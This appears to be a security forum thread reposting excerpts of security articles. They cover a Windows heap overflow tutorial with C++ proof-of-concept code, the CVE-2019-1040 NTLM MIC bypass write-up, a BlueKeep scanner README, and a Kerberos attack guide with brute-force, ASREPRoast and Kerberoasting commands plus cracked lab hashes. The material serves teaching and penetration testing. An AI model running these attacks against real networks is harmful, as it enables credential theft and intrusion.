Borrowing this idea, we could come up with a strategy like this: Create an object. Similar to the leak setup, allocate some chunks no more than 18 (to avoid LFH). Free one of the chunks (somewhere between the 2nd or the 16th) Create 10 vectors. Each is filled with pointers to the same object. You may need to play with the size to figure out exactly how big the vectors should be. Hopefully, the content from one of the vectors will take over the freed chunk. Overflow the chunk that's found before the freed one. Use the object that the vector holds. The implementation of the above strategy looks something like this: #include <Windows.h> #include <stdio.h> #include <vector> using namespace std; #define CHUNK_SIZE 0x190 #define ALLOC_COUNT 10 class SomeObject { public: void function1() { }; virtual void virtualFunction() { printf("test\n"); }; }; int main(int args, char** argv) { int i; HANDLE hChunk; void* allocations[ALLOC_COUNT]; SomeObject* objects[5]; SomeObject* obj = new SomeObject(); printf("SomeObject address : 0x%08x\n", obj); int vectorSize = 40; HANDLE defaultHeap = GetProcessHeap(); for (i = 0; i < ALLOC_COUNT; i++) { hChunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE); memset(hChunk, 'A', CHUNK_SIZE); allocations[i] = hChunk; printf("[%d] Heap chunk in backend : 0x%08x\n", i, hChunk); } HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[3]); vector<SomeObject*> v1(vectorSize, obj); vector<SomeObject*> v2(vectorSize, obj); vector<SomeObject*> v3(vectorSize, obj); vector<SomeObject*> v4(vectorSize, obj); vector<SomeObject*> v5(vectorSize, obj); vector<SomeObject*> v6(vectorSize, obj); vector<SomeObject*> v7(vectorSize, obj); vector<SomeObject*> v8(vectorSize, obj); vector<SomeObject*> v9(vectorSize, obj); vector<SomeObject*> v10(vectorSize, obj); printf("vector : 0x%08x\n", v1); printf("vector : 0x%08x\n", v2); printf("vector : 0x%08x\n", v3); printf("vector : 0x%08x\n", v4); printf("vector : 0x%08x\n", v5); printf("vector : 0x%08x\n", v6); printf("vector : 0x%08x\n", v7); printf("vector : 0x%08x\n", v8); printf("vector : 0x%08x\n", v9); printf("vector : 0x%08x\n", v10); memset(allocations[2], 'B', CHUNK_SIZE + 8 + 32); v1.at(0)->virtualFunction(); system("PAUSE"); return 0; } Since the content of the vector (that fell into the hole) is overwritten with data we control, if there is some function that wants to use it (which expects to print "test"), we end up getting a good crash that is exploitable, which can be chained with the information leak to build a full-blown exploit. Summary Modern heap exploitation is a fascinating and difficult subject to master. It takes a lot of time and effort to reverse engineer the internals of the application before you know what you can leverage to instrument the corruption. Most of us can be easily overwhelmed by this, and sometimes we end up feeling like we know almost nothing about the subject. However, since most memory corruption problems are based on C/C++, you can build your own vulnerable cases to experience them. That way, when you face a real CVE, it is no longer a scary topic: You know how to identify the primitives, and you have given yourself a shot at exploiting the CVE. And maybe, one day when you discover something cool, give back to the community that taught you how to be where you are today. Special thanks to Steven Seeley (mr_me) and Peter Van Eeckhoutte (Corelanc0d3r). Sursa: https://blog.rapid7.com/2019/06/12/heap-overflow-exploitation-on-windows-10-explained/
  5. Drop the MIC - CVE-2019-1040 Posted by Marina Simakov on Jun 11, 2019 9:52:17 AM Find me on: LinkedIn Twitter As announced in our recent security advisory, Preempt researchers discovered how to bypass the MIC (Message Integrity Code) protection on NTLM authentication and modify any field in the NTLM message flow, including the signing requirement. This bypass allows attackers to relay authentication attempts which have negotiated signing to another server while entirely removing the signing requirement. All servers which do not enforce signing are vulnerable. Background NTLM relay is one of the most prevalent attacks on Active Directory environments. The most significant mitigation against this attack technique is server signing. However, by default, only domain controllers enforce SMB signing, which in many cases leaves other sensitive servers vulnerable. However, in order to compromise such a server, attackers would need to capture an NTLM negotiation which does not negotiate signing, which is the case in HTTP but not in SMB, where by default if both parties support signing, the session would necessarily be signed. In order to ensure that the NTLM negotiation stage is not tampered with by attackers, Microsoft added an additional field in the final NTLM authentication message - the MIC. However, we discovered that until Microsoft’s latest security patch, this field was useless, which enabled the most desired relay scenario of all - SMB to SMB relay. Session Signing When users authenticate to a target via NTLM, they may be vulnerable to relay attacks. In order to protect servers from such attacks, Microsoft has introduced various mitigations, the most significant of which is session signing. When users establish a signed session against a server, attackers cannot hijack the session due to their inability to retrieve the required session key. In SMB, session signing is negotiated by setting the ‘NTLMSSP_NEGOTIATE_SIGN’ flag in the NTLM_NEGOTIATE message. The client behavior is determined by several group policies (‘Microsoft network client: Digitally sign communications’), for which the default configuration is to set the flag in question. If attackers attempt to relay such an NTLM authentication, they will need to ensure that signing is not negotiated. One way to do so is by relaying to protocols in which NTLM messages don’t govern the session integrity, such as LDAPS or HTTPS. However, these protocols are not open on every machine, as opposed to SMB which is enabled by default on all Windows machines and, in many cases, allows to remotely execute code. Consequently, the holy grail of NTLM relay attacks lies in relaying SMB authentication requests to other SMB servers. In order to successfully perform such NTLM relay, the attackers will need to modify the NTLM_NEGOTIATE message and unset the ‘NTLMSSP_NEGOTIATE_SIGN’ flag. However, in new NTLM versions there is a protection against such modifications - the MIC field. Figure 1 - The NTLM_NEGOTIATE message dictates whether to negotiate SMB signing MIC Overview An NTLM authentication consists of 3 message types: NTLM_NEGOTIATE, NTLM_CHALLENGE, NTLM_AUTHENTICATE. To ensure that the messages were not manipulated in transit by a malicious actor, an additional MIC (Message Integrity Code) field has been added to the NTLM_AUTHENTICATE message. The MIC is an HMAC_MD5 applied to the concatenation of all 3 NTLM messages using the session key, which is known only to the account initiating the authentication and the target server. Hence, an attacker which tries to tamper with one of the messages (for example, modify the signing negotiation), would not be able to generate a corresponding MIC, which would cause the attack to fail. Figure 2 - The ‘MIC’ field protects from NTLM messages modification The presence of the MIC is announced in the ‘msvAvFlag’ field in the NTLM_AUTHENTICATE message (flag 0x2 indicates that the message includes a MIC) and it should fully protect servers from attackers which attempt to remove the MIC and perform NTLM relay. However, we found out that Microsoft servers do not take advantage of this protection mechanism and allow for unsigned (MIC-less) NTLM_AUTHENTICATE messages. Figure 3 - The ‘flags’ field indicating that the NTLM_AUTHENTICATE message includes a MIC Drop The MIC We discovered that all NTLM authentication requests are susceptible to relay attacks, no matter which protocol carries them. If the negotiation request includes a signing requirement, attackers would need to perform the following in order to overcome the protection of the MIC: Unset the signing flags in the NTLM_NEGOTIATE message (NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMSSP_NEGOTIATE_SIGN) Remove the MIC from the NTLM_AUTHENTICATE message Remove the version field from the NTLM_AUTHENTICATE message (removing the MIC field without removing the version field would result in an error). Unset the following flags in the NTLM_AUTHENTICATE message: NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMSSP_NEGOTIATE_SIGN, NEGOTIATE_KEY_EXCHANGE, NEGOTIATE_VERSION. We believe that this is a serious attack vector which breaks the misconception that the MIC protects an NTLM authentication in any way. We believe that the issue lies in the fact that the target server which accepts an authentication with an ‘msvAvFlag’ value indicating that the authentication carries a MIC, does not in fact verify the presence of this field. This leaves all servers which do not enforce server signing (which in most organizations means the vast majority of servers since by default only domain controllers enforce SMB signing) vulnerable to NTLM relay attacks. This attack does not only allow attackers to overcome the session signing negotiation, but also leaves the organization vulnerable to much more complicated relay attacks which manipulate the NTLM messages in transit to overcome various security setting such as EPA (Enhanced Protection for Authentication). For more details on this attack refer to the following blog. In order to truly protect your servers from NTLM relay attacks, enforce signing on all your servers. If such a configuration is too strict for your environment, try to configure this setting on as many of your sensitive servers. Microsoft has release the following fix: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040 How Preempt can Help Preempt constantly works to protect its customers. Customers who have deployed Preempt have been consistently protected from NTLM relay attacks. The Preempt Platform provides full network NTLM visibility, allowing you to reduce NTLM traffic and analyze suspicious NTLM activity. In addition, Preempt has innovative industry-first deterministic NTLM relay detection capabilities and has the ability to inspect all GPO configurations and will alert on insecure configurations. For non-Preempt customers, this configuration inspection is also available in Preempt Lite, a free lightweight version of the Preempt Platform. You can download Preempt Lite here and verify which areas of your network are vulnerable. Topics: NTLM, Security Advisory, Microsoft Sursa: https://blog.preempt.com/drop-the-mic
  6. Nytro

    BKScan

    BKScan BlueKeep (CVE-2019-0708) scanner that works both unauthenticated and authenticated (i.e. when Network Level Authentication (NLA) is enabled). Requirements: A Windows RDP server If NLA is enabled on the RDP server, a valid user/password that is part of the "Remote Desktop Users" group It is based on FreeRDP and uses Docker to ease compilation/execution. It should work on any UNIX environment and has been tested mainly on Linux/Ubuntu. Usage Building Install pre-requisites: sudo apt-get install docker.io Build the custom FreeRDP client inside the Docker container named bkscan: $ git clone https://github.com/nccgroup/BKScan.git $ cd BKScan $ sudo docker build -t bkscan . [...] Successfully built f7666aeb3259 Successfully tagged bkscan:latest Running Invoke the bkscan.sh script from your machine. It will invoke the custom FreeRDP client inside the newly created bkscan Docker container: $ sudo ./bkscan.sh -h Usage: ./bkscan.sh -t <target_ip> [-P <target_port>] [-u <user>] [-p <password>] [--debug] Target with NLA enabled and valid credentials Against a vulnerable Windows 7 with NLA enabled and valid credentials. $ sudo ./bkscan.sh -t 192.168.119.141 -u user -p password [+] Targeting 192.168.119.141:3389... [+] Using provided credentials, will support NLA [-] Max sends reached, please wait to be sure... [!] Target is VULNERABLE!!! Against a Windows 10 (non-vulnerable) or patched Windows 7 with NLA enabled and valid credentials: $ sudo ./bkscan.sh -t 192.168.119.133 -u user -p password [+] Targeting 192.168.119.133:3389... [+] Using provided credentials, will support NLA [-] Max sends reached, please wait to be sure... [*] Target appears patched. Target with NLA enabled and non-valid credentials Against a Windows 7 (vulnerable or patched) which NLA enabled but that we are scanning with a client without NLA support: $ sudo ./bkscan.sh -t 192.168.119.141 [+] Targeting 192.168.119.141:3389... [+] No credential provided, won't support NLA [-] Connection reset by peer, NLA likely to be enabled. Detection failed. Against a Windows 7 (vulnerable or patched) with NLA enabled and valid credentials but user is not part of the "Remote Desktop Users" group: $ sudo ./bkscan.sh -t 192.168.119.141 -u test -p password [+] Targeting 192.168.119.141:3389... [+] Using provided credentials, will support NLA [-] NLA enabled, credentials are valid but user has insufficient privileges. Detection failed. Against a Windows 7 (vulnerable or patched) with NLA enabled and non-valid credentials: $ sudo ./bkscan.sh -t 192.168.119.141 -u user -p badpassword [+] Targeting 192.168.119.141:3389... [+] Using provided credentials, will support NLA [-] NLA enabled and access denied. Detection failed. Against a Windows 10 (non-vulnerable) with NLA enabled and non-valid credentials: $ sudo ./bkscan.sh -t 192.168.119.133 -u user -p badpassword [+] Targeting 192.168.119.133:3389... [+] Using provided credentials, will support NLA [-] NLA enabled and logon failure. Detection failed. Note: the difference in output between Windows 7 and Windows 10 is likely due to the Windows CredSSP versions and your output may differ. Target with NLA disabled Against a vulnerable Windows XP (no NLA support): $ sudo ./bkscan.sh -t 192.168.119.137 [+] Targeting 192.168.119.137:3389... [+] No credential provided, won't support NLA [-] Max sends reached, please wait to be sure... [!] Target is VULNERABLE!!! Target without RDP disabled Against a Windows 7 with RDP disabled or blocked port: $ sudo ./bkscan.sh -t 192.168.119.142 [+] Targeting 192.168.119.142:3389... [+] No credential provided, won't support NLA [-] Can't connect properly, check IP address and port. Thanks Special thanks to @JaGoTu and @zerosum0x0 for releasing their Unauthenticated CVE-2019-0708 "BlueKeep" Scanner, see here. The BKScan scanner in this repo works similarly to their scanner but has been ported to FreeRDP to support NLA. Thank you to mi2428 for releasing a script to run FreeRDP in Docker, see here. Also thank you to the following people for contributing: nikallass Problems? If you have a problem with the BlueKeep scanner, please create an issue on this github repository with the detailed output using ./bkscan.sh --debug. Known issues Failed to open display Some recent versions of Linux (e.g. Ubuntu 18.04 or Kali 2019.2 Rolling) do not play well with the $DISPLAY and $XAUTHORITY environment variables. $ sudo ./bkscan.sh -t 192.168.119.137 [+] Targeting 192.168.119.137:3389... [+] No credential provided, won't support NLA [07:58:35:866] [1:1] [ERROR][com.freerdp.client.x11] - failed to open display: :0 [07:58:35:866] [1:1] [ERROR][com.freerdp.client.x11] - Please check that the $DISPLAY environment variable is properly set. It works fine on a fresh installation of Ubuntu 18.04 but not on an installation I have used for a while so I am blaming some updated X11-related package or configuration. docker-org documents this and proposes a solution but I haven't been able to have it working myself. So I am not sure they are describing the same issue. If you have this issue initially and are able to fix it, please feel free to do a PR. Contact @saidelike Sursa: https://github.com/nccgroup/BKScan
  7. Kerberos (II): How to attack Kerberos? 04 - Jun - 2019 - Eloy Pérez Introduction In this article about Kerberos, a few attacks against the protocol will be shown. In order to refresh the concepts behind the following attacks, it is recommended to check the first part of this series which covers Kerberos theory. The post is divided in one section per attack: Kerberos brute-force ASREPRoast Kerberoasting Pass the key Pass the ticket Silver ticket Golden ticket These attacks are sorted by the privileges needed to perform them, in ascending order. Thus, to perform the first attacks only connectivity with the DC (Domain Controller) is required, which is the KDC (Key Distribution Center) for the AD (Active Directory) network. Whereas, the last attack requires a user being a Domain Administrator or having similar privileges. Furthermore, each attack will be introduced from the pentesting perspective of 2 common scenarios: Linux machine: A computer external to the domain, owned by the auditor (Kali in this case), but with network connectivity to the DC (directly, VPN, Socks, does not really matter). It must be taken into account that the local time of the machine has to be synchronized with the DC. Windows machine: A compromised Windows machine in the domain, with a domain account if needed but with no administrator privileges, neither local nor domain. It is done this way because there are plenty of publications only covering part of one scenario. Therefore, the goal here is to present a useful guide that shows how to perform any attack in many different circumstances. Anyway, a comment can be leaving by anyone if any concept is not completely explained. Tools First of all, throughout this article the following main tools are used: Examples of Impacket, to perform Kerberos related Linux attacks, which requires python installed on the machine. Mimikatz, for Windows attacks. Rubeus, for Windows attacks, which requires Redistributable 3.5 installed on the machine. PsExec, for executing commands from Windows in remote machines. There are a few additional tools, but those will be introduced in their respective sections. Besides, a Kerberos attacks cheatsheet was created to quickly get the commands needed to perform any of these attacks. Let’s go with the interesting stuff. Kerberos brute-force In first place, due to Kerberos is an authentication protocol, it is possible to perform brute-force attacks against it. Moreover, brute-forcing Kerberos has many advantages over brute-forcing other authentication methods, like the following: No domain account is needed to conduct the attack, just connectivity to the KDC. Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771). Kerberos indicates, even if the password is wrong, whether the username is correct or not. This is a huge advantage in case of performing this sort of technique without knowing any username. In Kerberos brute-forcing it is also possible to discover user accounts without pre-authentication required, which can be useful to perform an ASREPRoast attack. However, by carrying out a brute-force attack it is also possible to block user accounts. Thus, this technique should be used carefully. From Linux The script kerbrute.py can be used to perform a brute-force attack by using Kerberos from a Linux computer: root@kali:kerbrute# python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Valid user => triceratops [*] Valid user => velociraptor [NOT PREAUTH] [*] Valid user => trex [*] Blocked/Disabled user => trex [*] Stupendous => velociraptor:Sm4rtSp33d [*] Saved TGT in velociraptor.ccache [*] Saved discovered passwords in jurassic_passwords.txt Once finished, a file with the discovered passwords is generated. Besides, the obtained TGTs tickets are stored for future use. From Windows In the case of Windows, the module brute of Rubeus, which is available on a fork of Zer1t0, can be used to launch a brute-force attack like the following: PS C:\Users\user01> .\Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:jurassic.park /outfile:jurassic_passwords.txt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [+] Valid user => velociraptor [+] Valid user => trex [+] Valid user => triceratops [+] STUPENDOUS => triceratops:Sh4rpH0rns [*] Saved TGT into triceratops.kirbi In the same way as in the Linux scenario, the discovered credentials are saved in the output file alongside valid TGTs. ASREPRoast The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an AS_REQ request to the KDC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline. More detail in Kerberos theory. Furthermore, no domain account is needed to perform this attack, only connection to the KDC. However, with a domain account, an LDAP query can be used to retrieve users without Kerberos pre-authentication in the domain. Otherwise usernames have to be guessed. In order to retrieve user accounts without Kerberos pre-authentication, the following LDAP filter can be used: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) . Parameter samAccountType allows to request user accounts only, without including computer accounts, and userAccountControl filters by Kerberos pre-authentication in this case. From Linux The script GetNPUsers.py can be used from a Linux machine in order to harvest the non-preauth AS_REP responses. The following commands allow to use a given username list or query to obtain a list of users by providing domain credentials: root@kali:impacket-examples# python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [-] User trex doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User triceratops doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) root@kali:impacket-examples# cat hashes.asreproast $krb5asrep$23$velociraptor@JURASSIC.PARK:7c2e70d3d46b4794b9549bba5c6b728e$599da4e9b7823dbc8432c188c0cf14151df3530601ad57ee0bc2730e0f10d3f1552b3552cee9431cf3f1b119d099d3cead7ea38bc29d5d83074035a2e1d7de5fa17c9925c75aac2717f49baae54958ec289301a1c23ca2ec1c5b5be4a495215d42e9cbb2feb8b7f58fb28151ac6ecb0684c27f14ecc35835aecc3eec1ec3056d831dd518f35103fd970f6d082da0ebaf51775afa8777f783898a1fa2cea7493767024ab3688ec4fe00e3d08a7fb20a32c2abf8bdf66c9c42f49576ae9671400be01b6156b4677be4c79d807ba61f4703d9acda0e66befc5b442660ac638983680ffa3ada7eacabad0841c9aee586 root@kali:impacket-examples# python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation Name MemberOf PasswordLastSet LastLogon UAC ------------ --------------------------------------------- ------------------- ------------------- -------- velociraptor CN=Domain Admins,CN=Users,DC=jurassic,DC=park 2019-02-27 17:12:12 2019-03-18 11:44:04 0x410200 root@kali:impacket-examples# cat hashes.asreproast $krb5asrep$23$velociraptor@JURASSIC.PARK:6602e01d59b4eeba815ab467194a9de4$b13a0e139b1daa46a457b3fa948c22cbbaad75a94c2b37064d757185d171c258e290210339d950b9245de6fa40a335986146a8c71c0b60f633b4c040141460a0a91737670f21caae6261ebde0151c06adceac22bfed84cb8c1f07948fb8e75b8a1d64c768c9e3f3a50d035ec03df643ea185648406b634b6fd673028e6e90ea429f57f9229b00f47f2bba2cdb7297d29b9f97a83d07c89dee7ea673340f64c443a213d5b9bbed969a68ca7a0ea41245b0fa985f64261803488b61821fbaedf43d50ea16075b2379bb354e4001d73dfd19cc8787b4bcd2bd9b542e0e2b1218ee8c16699c134ae5ec587afe0fd1880 After finishing the execution, the script will generate an output file with encoded AS_REP messages to crack using hashcat or John. From Windows Rubeus can be used to carry out this attack from a Windows machine. The following command will generate a file containing AS_REP messages of affected users: C:\Users\triceratops>.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: AS-REP roasting [*] Using domain controller: Lab-WDC01.jurassic.park (10.200.220.2) [*] Building AS-REQ (w/o preauth) for: 'jurassic.park\velociraptor' [*] Connecting to 10.200.220.2:88 [*] Sent 170 bytes [*] Received 1423 bytes [+] AS-REQ w/o preauth successful! [*] Hash written to C:\Users\triceratops\hashes.asreproast [*] Roasted hashes written to : C:\Users\triceratops\hashes.asreproast C:\Users\triceratops>type hashes.asreproast $krb5asrep$23$velociraptor@jurassic.park:BBEC05D876E5133F5AB0CEDA07572FE0$4A826CD2123EBC266179A9009E867EAAC03D1C8C9880ACF76DCA4B5919F967E86DBB6CD475DA8EF5C83B1B8388D22DA005BA10D5CB4D10F3C3F44C918ACD5843660C4FF5C678E635F7751A109524D693DB29BF75A5F0995B41CD35600B969FE371F77AD13F48604DFAB87253D324E8F53C267A2299D2450245D317D319A4FD424B42F815B79E2DD16C58AB2A2C106EB6995AFF70C8E889D8F170B35E78993157B3B3D13DCCE18A720BC5810C474CBC95C07B5FFCEE5EE06442FDB6244C33EECA4BFCD4F6C051A5F00C40A837A9644ADA70A381A85089F05CFB5E5F03AB0C7525BBA6AEAF9DA3554D3D700DD54760 Once executed, Rubeus should have generated a file with one AS_REP per line. This file can be used to feed Hashcat or John. Cracking the AS_REP Finally, to crack the harvested AS_REP messages, Hashcat or John can be used. In this case a dictionary attack will be performed, but a variety of cracking techniques can be applied. Hashcat command: root@kali:impacket-examples# hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM) i5-4210H CPU @ 2.90GHz, 2961/2961 MB allocatable, 2MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 ATTENTION! Pure (unoptimized) OpenCL kernels selected. This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance. If you want to switch to optimized OpenCL kernels, append -O to your commandline. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. * Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=18200 -D _unroll' Dictionary cache hit: * Filename..: passwords_kerb.txt * Passwords.: 3 * Bytes.....: 25 * Keyspace..: 3 The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework Approaching final keyspace - workload adjusted. $krb5asrep$23$velociraptor@jurassic.park:bbec05d876e5133f5ab0ceda07572fe0$4a826cd2123ebc266179a9009e867eaac03d1c8c9880acf76dca4b5919f967e86dbb6cd475da8ef5c83b1b8388d22da005ba10d5cb4d10f3c3f44c918acd5843660c4ff5c678e635f7751a109524d693db29bf75a5f0995b41cd35600b969fe371f77ad13f48604dfab87253d324e8f53c267a2299d2450245d317d319a4fd424b42f815b79e2dd16c58ab2a2c106eb6995aff70c8e889d8f170b35e78993157b3b3d13dcce18a720bc5810c474cbc95c07b5ffcee5ee06442fdb6244c33eeca4bfcd4f6c051a5f00c40a837a9644ada70a381a85089f05cfb5e5f03ab0c7525bba6aeaf9da3554d3d700dd54760:Sm4rtSp33d Session..........: hashcat Status...........: Cracked Hash.Type........: Kerberos 5 AS-REP etype 23 Hash.Target......: $krb5asrep$23$velociraptor@jurassic.park:bbec05d876...d54760 Time.Started.....: Tue Mar 5 11:15:47 2019 (1 sec) Time.Estimated...: Tue Mar 5 11:15:48 2019 (0 secs) Guess.Base.......: File (passwords_kerb.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 4 H/s (0.18ms) @ Accel:64 Loops:1 Thr:64 Vec:4 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 3/3 (100.00%) Rejected.........: 0/3 (0.00%) Restore.Point....: 0/3 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: above1 -> below1 Started: Tue Mar 5 11:12:26 2019 Stopped: Tue Mar 5 11:15:48 2019 John command: root@kali:kali# john --wordlist=passwords_kerb.txt hashes.asreproast Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 1 candidates left, minimum 16 needed for performance. Sm4rtSp33d ($krb5asrep$velociraptor@jurassic.park) 1g 0:00:00:00 DONE (2019-03-07 17:16) 20.00g/s 20.00p/s 20.00c/s 20.00C/s Sm4rtSp33d Use the "--show" option to display all of the cracked passwords reliably Session completed In this case, luck is on our side, and the user password was contained in the dictionary. Kerberoasting The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets is encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline. More detail in Kerberos theory. Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required. In order to retrieve user accounts which have associated services, the following LDAP filter can be used: (&(samAccountType=805306368)(servicePrincipalName=*)). Parameter samAccountType allows filtering out the computer accounts, and servicePrincipalName=* filters by accounts with at least one service. From Linux From a Linux machine, it is possible retrieve all the TGS’s by using the impacket example GetUserSPNs.py. The command required to perform the attack and save the TGS’s into a file is the following: root@kali:impacket-examples# python GetUserSPNs.py jurassic.park/triceratops:Sh4rpH0rns -outputfile hashes.kerberoast Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -------------------- ------------ -------- ------------------- ------------------- cloner/labwws02 velociraptor 2019-02-27 17:12:12 2019-03-05 09:35:27 root@kali:impacket-examples# cat hashes.kerberoast $krb5tgs$23$*velociraptor$JURASSIC.PARK$cloner/labwws02*$b127187aceb93774a985bb1e528da85c$75cc3037a244f3422d6129bba79f79c67e79aca81b0b7dd551019424005abcfb8e232600fa968de2dcc9f10a44d13c17ac2be66bbb2640187dc174d81d9ebad0d691b36b3cbf4ca457678861748e2ab950f3066e0f50489415b934e4f6a2f2b7d8845cfd6a74279bad50da8c363174a07e51cbf39a2dd88bd74f1c839373cd9370ec1e2b7ebc5d6d05d49d34a75925d5983ab4849e211e57e93666f1fe9663b53620d2710e15f2c70837a4983db19c345b93f790244899b847d186197c37e966fc239ec750f91bd317fc2388ca421895052e2d57f742ab45c59275e95dfbb855ff11e5e893631164f6053ca0a6162c6b1be3ccdeb7fe2ce3a8634411b2b16ef03f558a5e0156bb8270ece6cf6b516af8172aa6071904d493c6fdf91738781371b68dfd9b4e1c2d6bcef3d665504194a703b08615d1b9c57ac794c37ab44dc2d57dff9677b0168aa7c078b190dddb2091ab63ca85868944cdbb4229a7a291028f193f94cb5c9a43c55b006cdd35df241b49d5464d3c05d5b7ec9eecd843335e45642892333b9760d06bc445d02558c2c30a2648a1018bc8493b8f73a6b0c07ffd052434239f0463b2344363656d6b6640efdc3e10fab04b99fc1f1487942c2b2c9ca7e89447aab3b1fb5adcb4b820d842a2ec713b788358e5c14d8ac3f0070058e6453297d4fb9538680ab152ce4ed3168cc6a58cc1c753b15d5de7fb98132ac3eec602ad611e8e03ed1c00c2bfa3b5bec1ea93f24b68b54fe48726f4e650dba34b3c4696b5f5e743cb5ace4b9b073dc718070d06e8f872abef2d4040350cd9e09091da47ab2fcef2e0d873afdcb9d7cf2236131f312d4e23004eb598efa064b871af82e618c31a2e82d28bc635ac3cbd000d725dd53217fb484178de3cd9bf4d20819c30c189ccc2ae349a333b628c6d41d01163b918def5ba089ac2cc6ff673dd64e1c2fef25fb599e009c1eca8e9e06cebc61fb0e7fc6922bc3edbdc60dd85a3f5b7412e8e46db80b55f577cc682892e66987a0e920872292a5cdd0f1a11fcc294461ccf86a53e75c9c8b0f9688919b4484986b7bcfb7612b117f98f5b0f4bf44ef0ad07245883ced1045b215a137d50a54f45a67168e6bed3dcb41f25b8ac307a4f3923d1545f0f6f1593db0a8b3032a3837b5c1715656e73c3ba0102e76dbbf47388bb5d1c334fc50598a57914a77c4c11059fe1b07b6342286ec2f6f38e7a5a946f40b7de01707f9681228904cb04434063c3dc7a6d26f301664514551ee20b69eb76d2a3f8fbc45b0d9cf9d236f8ac880c75b140dc471e6044b1c85af0e26393e057c5357f8ef223e845676e963eba6540d2cbee90cbb6d2422e9b1e34e6b2989a752c09b86d302219a45cd219f3fdf243f9b5c7002997daeff03f7cd437 Once finished, a file with a crackable TGS per line should have been generated as output. This file can be used to feed Hashcat or John in order to crack its TGS’s. From Windows Likewise, Kerberoasting can be performed from a Windows machine with several tools such as Rubeus or Invoke-Kerberoast from Empire project. In this case, tools are launched from the context of a logged user inside a domain workstation. The commands are the following: C:\Users\triceratops>.\Rubeus.exe kerberoast /outfile:hashes.kerberoast ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Kerberoasting [*] SamAccountName : velociraptor [*] DistinguishedName : CN=velociraptor,OU=Usuarios,DC=jurassic,DC=park [*] ServicePrincipalName : cloner/labwws02 [*] Hash written to C:\Users\triceratops\hashes.kerberoast [*] Roasted hashes written to : C:\Users\triceratops\hashes.kerberoast C:\Users\triceratops>type hashes.kerberoast 